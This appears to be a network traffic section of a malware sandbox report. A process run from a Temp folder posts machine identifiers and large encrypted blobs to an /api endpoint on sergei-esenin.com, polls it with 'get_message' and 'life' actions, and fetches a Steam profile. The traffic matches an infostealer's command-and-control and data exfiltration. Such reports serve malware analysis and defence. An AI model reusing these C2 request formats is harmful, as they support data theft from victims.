2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 30 77 00 e8 df e9 69 71 80 e0 0e b1 87 8e be ae c3 45 1f 3d a6 cc e5 bc 66 3f 6a 60 80 d2 7c 4d 11 23 d0 59 80 79 7b e0 98 a0 3c 73 a8 e5 b7 6f be 29 d5 2c 68 22 65 41 04 09 8b c0 fa 0a bd 1d 51 7e 7e fc c0 52 0d ab 85 eb c0 58 9c 43 6b a6 93 be 28 bf be 29 d2 95 12 ec 88 c0 d8 f7 c0 eb 35 2d ef ee ef ad e6 35 d9 c0 eb 53 3b 98 c3 81 47 c6 94 5c 16 22 e4 f8 81 08 5d bf ce 10 8d f5 4e 60 e6 19 f9 88 a0 38 7b 86 69 2a 31 f0 76 8c c1 99 0e 6b 88 7e 58 b2 97 0f 5c 4e 4a 77 70 c3 81 26 39 8e ad 31 3a 56 24 d3 a1 14 92 55 81 29 22 dc 22 0d aa 1f fb 73 4a 78 dc 17 04 a1 76 49 7a 39 72 a0 98 e1 30 c1 ac e5 49 95 9d 29 cd 78 4a 95 99 8c fa 20 2c cd 28 02 d6 ae 3b d3 45 c5 98 c2 f3 98 79 a3 d4 ed a6 00 17 39 56 bd a3 20 87 b4 26 57 c3 78 90 e1 1d 7c 48 90 4c a2 22 Data Ascii: 0wiqE=f?j`\|M#Yy{<so),h"eAQ~~RXCk()5-5S;G\"]N`8{i*1vk~X\NJwp&91:V$U)""sJxvIz9r0I)xJ ,(;Ey9V &Wx\|HL"
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: a1 d9 c2 2b 19 af bc b2 63 32 ab 76 a5 a6 e2 4d 1b e2 4d 65 17 86 35 6a 69 72 18 58 65 8b 3a 6d ae 22 60 af cc 53 10 5f 6d f1 cd 3c 33 d8 6b 1b 42 72 94 35 57 1f 68 1a 73 de 3c 43 15 f0 b0 0c 1a 5c fe c3 a7 d2 54 36 98 2a f4 64 49 fe 37 a6 08 c2 31 83 83 2c d5 09 de 71 8b 56 4a 55 71 bb e8 21 0a c6 99 66 b1 ba 68 12 6a e3 c5 a7 95 ef b2 eb b5 62 37 94 e8 fa 93 f2 0d 77 a7 51 0d 65 e5 db 3a 0b 09 b9 46 1e c4 bd 2a 9f e2 aa f5 44 48 2c af af 26 24 0f 5c 6e 19 56 a2 fb 9f d0 8e b2 ac 15 ae 57 fa d9 ec 2c ba 1a 0e 23 c6 39 f3 88 bb f7 45 6b 9b 1c 0d 0e f2 5d f8 f1 23 74 66 ee 5c 4c c6 7c 89 26 e0 81 a6 a5 bb 96 13 50 a4 d6 57 35 7d 5b 2d 52 c8 df d4 71 87 64 16 d2 bd d9 74 56 10 55 f7 87 dd d7 76 a5 86 90 7d ac d1 54 e7 75 85 b1 46 d4 c4 15 60 f5 90 42 98 23 Data Ascii: +c2vMMe5jirXe:m"`S_m<3kBr5Whs<C\T6dI71,qVJUq!fhjb7wQe:FDH,&$\nVW,#9Ek]#tf\L\|&PW5}[-RqdtVUv}TuF`B#
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: d9 16 d0 2b d3 ab 1d 70 2c d7 b6 c0 e2 47 db 76 a3 fa 4d 18 8e 79 bb 72 b8 e6 a3 2d 8f f7 43 df cf 1f ce 2a c3 a9 1b d5 92 4c f8 b7 d9 5a af 1e 80 3b a5 09 36 40 45 7a 79 e3 50 38 65 3d ec f0 43 be 14 c6 39 08 65 e6 ee 07 dc 8f f4 59 cc 0a 51 32 ac fe c4 e4 aa 3c 99 6b 54 de 37 d0 f9 d1 b7 e5 92 52 38 53 55 01 eb 33 66 df ba 42 e2 cd 70 db ff ea 58 e5 32 45 22 43 88 0f f7 61 60 91 b1 bc a6 a5 1c 4d 66 7d e6 06 7c a7 ae e3 33 4c 00 36 63 2b 3e cd aa 9d 3d f9 de b5 f8 3a 97 2c b9 c9 69 af bb aa 77 2c ef 62 94 a8 49 a9 8f 9f fb 7c 13 7a 75 cf 6d ca b4 ab 95 14 72 73 fc 03 91 0b e8 73 7f 02 c5 b0 6e c6 4d 0d 84 2a 3d e8 83 67 33 58 dc 0e a5 fb 6b 60 da 49 f1 56 53 65 02 f3 44 03 47 39 8e 72 9c 56 55 44 07 4f 2b a5 ce 05 72 45 e6 53 e1 39 f8 21 ad e6 67 5c ca Data Ascii: +p,GvMyr-CLZ;6@EzyP8e=C9eYQ2<kT7R8SU3fBpX2E"Ca`Mf}\|3L6c+>=:,iw,bI\|zumrssnM=g3Xk`IVSeDG9rVUDO+rES9!g\
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: f5 c6 bc b1 1a cc 23 cb 88 e9 3a 03 19 99 41 f2 15 81 da fd 98 78 1a df f4 8a 83 24 49 46 cb 35 2d 3c 8a e4 a9 9c 79 b3 ab 6b 27 ac f4 9d 31 cc ee f0 f9 ad cc f8 95 5b c7 6d d2 a2 c4 8e f2 fc 40 98 c2 c8 fc 37 0e e1 64 ab 39 61 1e d7 93 09 aa 02 82 01 3e a3 22 ef 7e d7 98 7a 9b 58 67 a0 6e 73 8e 28 4a 5c d8 fe e0 6d 99 16 5d aa 9d fc c8 08 75 b7 7b 46 f8 15 87 2b 2c 33 fa 9e 98 ca 87 22 0b 43 dc 69 fd e9 d9 8e 20 d2 15 b6 37 5b 5a f9 ca 90 87 1b 07 46 9b 60 5a 96 58 2d c8 f8 6c bf 9c dc 71 86 1b 87 86 0c 25 5e b6 5a de de e1 23 8a 1e b5 b0 ed c6 4d 62 1a 06 22 1d ff f3 57 ff bf 17 2b 2e b0 36 09 33 47 41 ca 15 44 7d c0 2d a4 16 12 54 9e 1b 4e 25 a0 c8 10 bf 63 67 a3 a7 68 4d ad 3c 02 99 f0 3a 2c 40 4e cb ce 73 7d e6 05 b7 b8 bc cf 85 a3 af e2 de 52 be 35 Data Ascii: #:Ax$IF5-<yk'1[m@7d9a>"~zXgns(J\m]u{F+,3"Ci 7[ZF`ZX-lq%^Z#Mb"W+.63GAD}-TN%cghM<:,@Ns}R5
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: f2 9f 45 1d 3b 0a 71 7e bc 69 79 19 f1 fa ce 51 70 da c7 59 6a d3 02 98 d0 63 43 4b 79 85 f6 86 87 bb a4 27 ee c4 5c af fc f0 09 ab 52 55 13 fc 94 52 80 dd ef 8d b8 7b d8 17 dc f9 dd f3 bd 95 5d 14 ec b5 ab ba dd 1c 6c 12 4e 55 62 b5 6f 7a 0a f2 b6 b6 b2 2c 36 63 b1 5e 97 85 3f 9d b2 d8 75 72 a2 07 ce b0 9c 77 9f c1 ed be 27 bc f2 b6 3e 8c 27 b9 74 f1 9a d0 b3 2e 67 e1 b9 89 58 84 df 41 3c 1e ef 94 66 a0 87 0e 4d e1 77 95 8a f9 6a cb 98 fa f3 a2 2f 8c 0b 48 70 bf 53 c3 f9 00 79 2b 96 fe 61 57 8a 6c fa f4 42 67 f0 50 51 a1 e3 8e 8c 51 d8 e9 7c e5 93 52 b8 36 2e ac c7 2f ab b6 be 53 a4 59 41 4b ab f4 a7 31 51 80 fa d7 f9 73 c2 bb 57 d0 94 ca ac bd 23 b3 44 95 fc af cf 0a ed f5 62 fb 23 39 11 41 a7 4e b2 cd aa 9d cf eb 15 b4 5e 23 7b b4 12 10 46 50 b0 e8 2a Data Ascii: E;q~iyQpYjcCKy'\RUR{]lNUboz,6c^?urw'>'t.gXA<fMwj/HpSy+aWlBgPQQ\|R6./SYAK1QsW#Db#9AN^#{FP*
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 6b a8 e5 f7 47 71 6d 09 dc 2b 09 08 bd 08 42 e2 da 3d 23 aa 51 88 08 76 39 25 e2 4c 22 c2 f0 18 b7 3c cc 76 a3 8e 9a 4f 32 97 3e b4 7e a9 94 a0 7c ec 0b f9 d8 17 e6 bb 7e 1b 25 ee c6 05 20 8e c2 1e 44 64 40 f0 86 fc a8 f3 d8 b1 ca 43 e3 7f 59 de 16 52 a5 c8 d0 65 48 b2 b6 14 91 31 c5 a9 a2 b7 78 df ed 69 49 aa 5c 55 5d 11 d7 a8 f8 e4 01 7a 9d ec 42 50 0c 29 7f ef 6a 31 15 fe 85 a5 c9 a5 dc 5a bd 44 cc ec b5 11 73 d8 a4 ff 4b a6 ae 22 af ef 28 47 8b d2 4f 2f 11 d8 79 60 6f 5e 4a f0 97 80 c5 47 b2 61 f7 7d 56 c3 db d8 c7 b6 cd d2 bf 7e bc f8 c5 7f fe de 24 6b 60 84 cd fc b7 ae fa 28 eb 4f f5 a3 3b 8e d5 47 91 20 a3 61 3e 98 fb 0a 17 f0 1c 1a 78 5c bb 50 2d 0e aa 02 4b 6c 8f 22 29 da da 10 45 a3 91 5d 5b a4 c2 7a 46 fb 66 ab 8b 4d 71 00 8c 43 4f f4 2f 5e fd Data Ascii: kGqm+B=#Qv9%L"<vO2>~\|~% Dd@CYReH1xiI\U]zBP)j1ZDsK"(GO/y`o^JGa}V~$k`(O;G a>x\P-Kl")E][zFfMqCO/^
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 13 b8 cf 01 e2 75 f2 d7 cd da 82 eb e3 dc 8f ec 54 5f c1 f3 ca 4d b5 89 11 b5 e2 4d fe a9 1b fa 4a 8d 46 2b ae 55 53 40 61 59 8a 0d cf 5b 65 3e 39 45 1e c9 f3 ff f7 bb 41 6b c8 4b ee c6 4b d0 75 95 db 30 61 6f 1e c6 2b df 63 44 3e 24 96 33 75 78 90 9b 6b 48 af e3 2e 8b ea 8c dd 29 7b e1 73 86 a1 6c 87 c3 a5 d6 31 af 41 67 a3 db 82 f7 c3 8e b0 5f 0e 73 67 c4 04 59 32 37 ea 15 5b e6 1d c0 17 2c ae 51 3f 28 68 a3 0d 3a 7f 06 94 82 cb e6 f4 5d 46 71 d7 02 1f ae 14 29 dc 07 91 ce bf 13 76 9c fc 1f 04 41 f1 06 ba af 82 76 64 45 92 3d b5 99 6c 67 6d 71 25 d7 7b 9f a4 52 87 5d 1a 73 23 3f 36 4e 19 b1 3b c0 42 b0 7f 5b 48 19 e2 e7 f2 d4 ff 48 67 c7 b8 d8 10 0d 7c 8a 4d 2d 87 17 39 cc 0f f7 ac f4 a0 e7 7a 74 a0 9a 0e 40 5f 9b ba ac 16 14 b7 3c d7 be e1 8b a4 9f a1 Data Ascii: uT_MMJF+US@aY[e>9EAkKKu0ao+cD>$3uxkH.){sl1Ag_sgY27[,Q?(h:]Fq)vAvdE=lgmq%{R]s#?6N;B[HHg\|M-9zt@_<
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 33 8c 33 90 94 a3 a0 fa 50 70 90 86 b7 4f 3e 76 79 22 87 87 f7 d7 8b 64 9f d3 1d aa 14 75 57 df f2 81 53 78 5d 18 5f ea d2 29 f8 9e 8f a0 40 2c 86 a7 b3 12 37 cd 97 9b 7c 03 8a e4 61 e1 32 54 aa af a1 f3 f2 df 4e bb ba 54 84 2e 8f 18 5d e6 13 40 d5 70 ba 4e b1 7b 52 e1 e0 23 2b 44 1b c8 91 48 ae 2b c8 cf 37 8b f2 61 84 e4 25 a7 29 ce 2f c3 76 ac 72 fd a1 0d 41 86 d5 0a d0 68 61 9b ba f6 b6 80 cb a2 e0 1e c2 5a 81 22 8b 6a 14 cd ad 7d bf a9 23 d0 63 ba cf e0 6a f1 0e af b2 80 b1 89 71 2b 28 de 83 2b 7f 37 6c c7 7f 6a a1 0c 65 46 1d 89 8e 28 3a 89 d7 df c6 14 3a 50 ab df 73 56 55 44 72 78 45 cd 39 63 19 79 d4 8d fb 16 cd c1 57 5f c5 9e 42 3b 27 53 74 cf 1b 6e a4 93 bb 58 9a af eb c4 95 f0 c4 74 b3 c0 99 d9 4b 78 eb cd 81 c1 74 25 e9 02 4c 2e dd ba 49 cf 91 Data Ascii: 33PpO>vy"duWSx]_)@,7\|a2TNT.]@pN{R#+DH+7a%)/vrAhaZ"j}#cjq+(+7ljeF(::PsVUDrxE9cyW_B;'StnXtKxt%L.I
2024-10-24 02:58:51 UTC	15331	OUT	Data Raw: 39 22 73 db 98 f7 62 83 76 f7 81 e5 66 8f 03 fb 04 19 f6 1b 9f d1 81 89 6d 51 23 1d 38 98 b2 cb 39 42 14 31 ea 10 13 ee fb 2d d7 f1 84 a8 28 af 70 e4 c8 07 22 0a f3 a5 8f 26 cd c1 c6 7a 0d 34 88 d2 44 ac 00 a5 88 bd 61 85 1c 40 b6 ab 09 6e 03 28 09 d4 7c 6e 51 b2 5a f7 07 d3 72 44 cc 6e df c3 bb d6 71 d4 8b 63 da 83 51 ce 8d fa dd 0c 41 88 20 24 3a ec 30 9f e3 cf 3e b0 2e 7f cb d4 e8 13 12 15 3b 3d db 35 5d 78 07 e5 f5 37 81 4b ad 91 a9 c2 a6 5a 9c a2 64 7c bd d9 a2 9a 44 be 32 ca 83 1a 09 21 4e ea 07 9c 05 41 77 00 f1 b2 18 8e 2a 21 d2 f4 4a 69 8b d0 4e 33 13 41 15 e5 01 ac 6d 4a db 4a e2 c1 7a d3 82 31 39 d5 16 f9 24 1d 6c a7 17 30 33 9e 3a c8 55 82 01 0b 5b a6 fd a8 e3 79 ca 3d b7 59 3c 0f d4 5e ab a1 62 e3 8d c7 5b b8 48 ce c8 dc 28 5f 5c 75 d9 64 e4 Data Ascii: 9"sbvfmQ#89B1-(p"&z4Da@n(\|nQZrDnqcQA $:0>.;=5]x7KZd\|D2!NAw*!JiN3AmJJz19$l03:U[y=Y<^b[H(_\ud
2024-10-24 02:58:52 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aslmtm9a53c4oovob4fbokpm8e; expires=Sun, 16 Feb 2025 20:45:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9VhniUay2JIKjWJX4ykl3mPjhGPmHFn7Iw0jJT070Q93JZ4lLlEAUWZy92BzKtn9D2AuEj1qej8f3UqYhW%2BGdf7WKtvF%2B4Y9UdP0fpTiS8lpfMlo48QiYLCjAbtYl4JbWdIUhA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b521bdb1e6fe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1054&sent=224&recv=611&lost=0&retrans=0&sent_bytes=2844&recv_bytes=582582&delivery_rate=2654445&cwnd=57&unsent_bytes=0&cid=9bc4fdcb5e2c6922&ts=1131&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50044	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:53 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:58:53 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=02113C705D9B5A7BBE56353A434AD2B5
2024-10-24 02:58:53 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cocob9m72v46pfbk54oq91j90u; expires=Sun, 16 Feb 2025 20:45:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fzylgChsdl05hAHkGt%2Bonb8uZ6RHoK1AeYIsHRTyI1Q1e4UVLAUCViL%2B%2BoVffTx4P0mvg%2BvvA2%2FTkEjs0JQcFZ%2BOTeXd1QQ6uBg3S2Z53dIsQJCkt6FsLeOPeFZJA549pBkrAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b52cac0e4870-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1905&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1433663&cwnd=232&unsent_bytes=0&cid=6598a083e695624a&ts=397&x=0"
2024-10-24 02:58:53 UTC	299	IN	Data Raw: 31 32 34 0d 0a 76 59 73 71 47 61 5a 6c 5a 54 65 36 50 6f 6d 4b 4b 42 4a 4c 66 48 61 58 54 33 46 63 6e 34 51 43 4b 39 42 6d 4f 6c 58 6e 6d 54 6e 6d 38 41 68 73 68 46 39 48 58 38 35 4b 2b 62 42 30 50 52 64 54 52 36 39 36 58 32 36 75 73 53 77 61 34 56 55 55 5a 4e 48 46 46 74 44 69 52 48 7a 36 53 68 64 57 31 46 72 6d 35 77 5a 33 4d 78 6c 55 75 32 30 58 4b 4c 32 2b 4d 67 66 79 41 78 68 76 31 2b 51 56 78 71 6c 66 4f 35 78 48 44 55 50 4f 54 72 50 57 42 30 35 6b 54 55 36 69 59 55 4e 74 71 71 6f 7a 47 75 4e 49 43 32 4f 37 74 6b 72 4a 37 6b 74 30 2b 6b 6f 58 56 74 52 61 35 75 63 47 64 7a 4d 5a 56 4c 74 74 46 79 69 39 76 6a 49 48 38 67 4d 59 62 39 66 6b 46 63 61 70 58 7a 75 63 52 77 31 44 7a 6b 36 7a 31 67 64 4f 5a 45 31 4f 6f 6d 46 44 62 61 71 71 4d 78 72 6a 53 41 Data Ascii: 124vYsqGaZlZTe6PomKKBJLfHaXT3Fcn4QCK9BmOlXnmTnm8AhshF9HX85K+bB0PRdTR696X26usSwa4VUUZNHFFtDiRHz6ShdW1Frm5wZ3MxlUu20XKL2+MgfyAxhv1+QVxqlfO5xHDUPOTrPWB05kTU6iYUNtqqozGuNIC2O7tkrJ7kt0+koXVtRa5ucGdzMZVLttFyi9vjIH8gMYb9fkFcapXzucRw1Dzk6z1gdOZE1OomFDbaqqMxrjSA
2024-10-24 02:58:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	59424	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:06 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:59:06 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:59:06 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=eb0b40e9158e954362291323; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:59:06 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:59:07 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:59:07 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:59:07 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	59427	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:59:07 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:59:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:59:07 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l29P38fQfuq1ExIQWEh0o6%2FufqGCFc5Qy4BvDMRsLwwPGId4flMXzoWTVKSe5sNainzuErubMkyOVqQu%2FX4KqbF7gX0hx5OAQz7tfjO6sktK5P0UXabEOuUBmzE0jlMsvk%2FuBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b5859a766c04-DFW
